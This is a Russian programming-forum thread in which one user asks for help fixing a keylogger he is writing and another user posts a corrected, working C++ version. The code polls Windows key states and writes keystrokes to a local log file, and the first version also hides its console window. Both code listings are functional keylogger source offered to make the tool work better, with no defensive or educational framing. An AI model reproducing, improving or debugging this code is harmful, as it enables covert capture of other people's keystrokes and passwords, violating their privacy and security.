Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Общие вопросы C/C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 21.11.2016, 17:24   #1
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию Подкорректируйте пожалуйста код.

Пишу кейлоггер, но как-то криво написано. Что тут не так?

[C++]#include <iostream>
#include "windows.h"
#include <fstream>
#include <String>
using namespace std;
int main()
{
ofstream File;
File.open("log.txt");
FreeConsole();
string log = "";
string letter = "";
int num = 0;

while(1)
{
for(num=32; num<=90;num++)
{
switch(num)
{
case 65: letter = "a"; break;
case 66: letter = "b"; break;
case 67: letter = "c"; break;
case 68: letter = "d"; break;
case 69: letter = "e"; break;
case 70: letter = "f"; break;
case 71: letter = "g"; break;
case 72: letter = "h"; break;
case 73: letter = "i"; break;
case 74: letter = "j"; break;
case 75: letter = "k"; break;
case 76: letter = "l"; break;
case 77: letter = "m"; break;
case 78: letter = "n"; break;
case 79: letter = "o"; break;
case 80: letter = "p"; break;
case 81: letter = "q"; break;
case 82: letter = "r"; break;
case 83: letter = "s"; break;
case 84: letter = "t"; break;
case 85: letter = "u"; break;
case 86: letter = "v"; break;
case 87: letter = "w"; break;
case 88: letter = "x"; break;
case 89: letter = "y"; break;
case 90: letter = "z"; break;
case 32: letter = " "; break;
}
if(GetAsyncKeyState(num))
{
log+=letter;
Sleep(200);
}
if(GetAsyncKeyState(27))
{
File << log;
File.close();
return 0;

}
}
}
}[/C++]
kyle16 вне форума Ответить с цитированием
Старый 22.11.2016, 00:57   #2
cya
Новичок
Джуниор
 
Аватар для cya
 
Регистрация: 21.11.2016
Сообщений: 2
По умолчанию

Код:
//
//
// Simple keylog.
//

#include <windows.h>
#include <iostream>
#include <fstream>
#include <string>
#include <ctime>

int main(void)
{
	std::ofstream File;
	File.open("log.txt");
	if( !File.is_open() )
		return EXIT_FAILURE;	// Error opening file.

	std::string log = "";
	std::string letter = "";

	int num = 0;
	int nTimer = clock();
	BOOL bUpdate = TRUE;

	while( !GetAsyncKeyState(VK_ESCAPE) )
	{
		Sleep(10);// Пусть, процессор - устроит небольшой перекур...

		for( num = 32; num <= 90; num++ ) {
			switch(num)
			{
			case 65: letter = "a"; break;
			case 66: letter = "b"; break;
			case 67: letter = "c"; break;
			case 68: letter = "d"; break;
			case 69: letter = "e"; break;
			case 70: letter = "f"; break;
			case 71: letter = "g"; break;
			case 72: letter = "h"; break;
			case 73: letter = "i"; break;
			case 74: letter = "j"; break;
			case 75: letter = "k"; break;
			case 76: letter = "l"; break;
			case 77: letter = "m"; break;
			case 78: letter = "n"; break;
			case 79: letter = "o"; break;
			case 80: letter = "p"; break;
			case 81: letter = "q"; break;
			case 82: letter = "r"; break;
			case 83: letter = "s"; break;
			case 84: letter = "t"; break;
			case 85: letter = "u"; break;
			case 86: letter = "v"; break;
			case 87: letter = "w"; break;
			case 88: letter = "x"; break;
			case 89: letter = "y"; break;
			case 90: letter = "z"; break;
			case 32: letter = " "; break;
			}
			
			if( GetAsyncKeyState(num) )
			{
				if( clock() - nTimer > 200 || !bUpdate )
				{
					bUpdate = FALSE;
					nTimer = clock();
					
					File << letter;

					bUpdate = TRUE;
				}
			}
		}
	}

	File.close();

    return EXIT_SUCCESS;
}
cya вне форума Ответить с цитированием
Старый 24.11.2016, 03:53   #3
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию

А почему буквы как-то вперемешку записываются в лог файл? Буквы часто пропускаются. Как-то некорректно идет запись в файл. С чем это связано?
kyle16 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Циклы, подкорректируйте, пожалуйста. Seeeeema357 Помощь студентам 2 30.10.2013 18:22
подкорректируйте код stupidstudent Помощь студентам 6 09.09.2011 16:24
подкорректируйте пожалуйста прогу slay09 Общие вопросы C/C++ 4 16.06.2009 20:38
Подкорректируйте код, плиззз... logoleha Общие вопросы Delphi 2 01.06.2009 02:24
подкорректируйте програмку апрол Паскаль, Turbo Pascal, PascalABC.NET 1 14.12.2008 00:27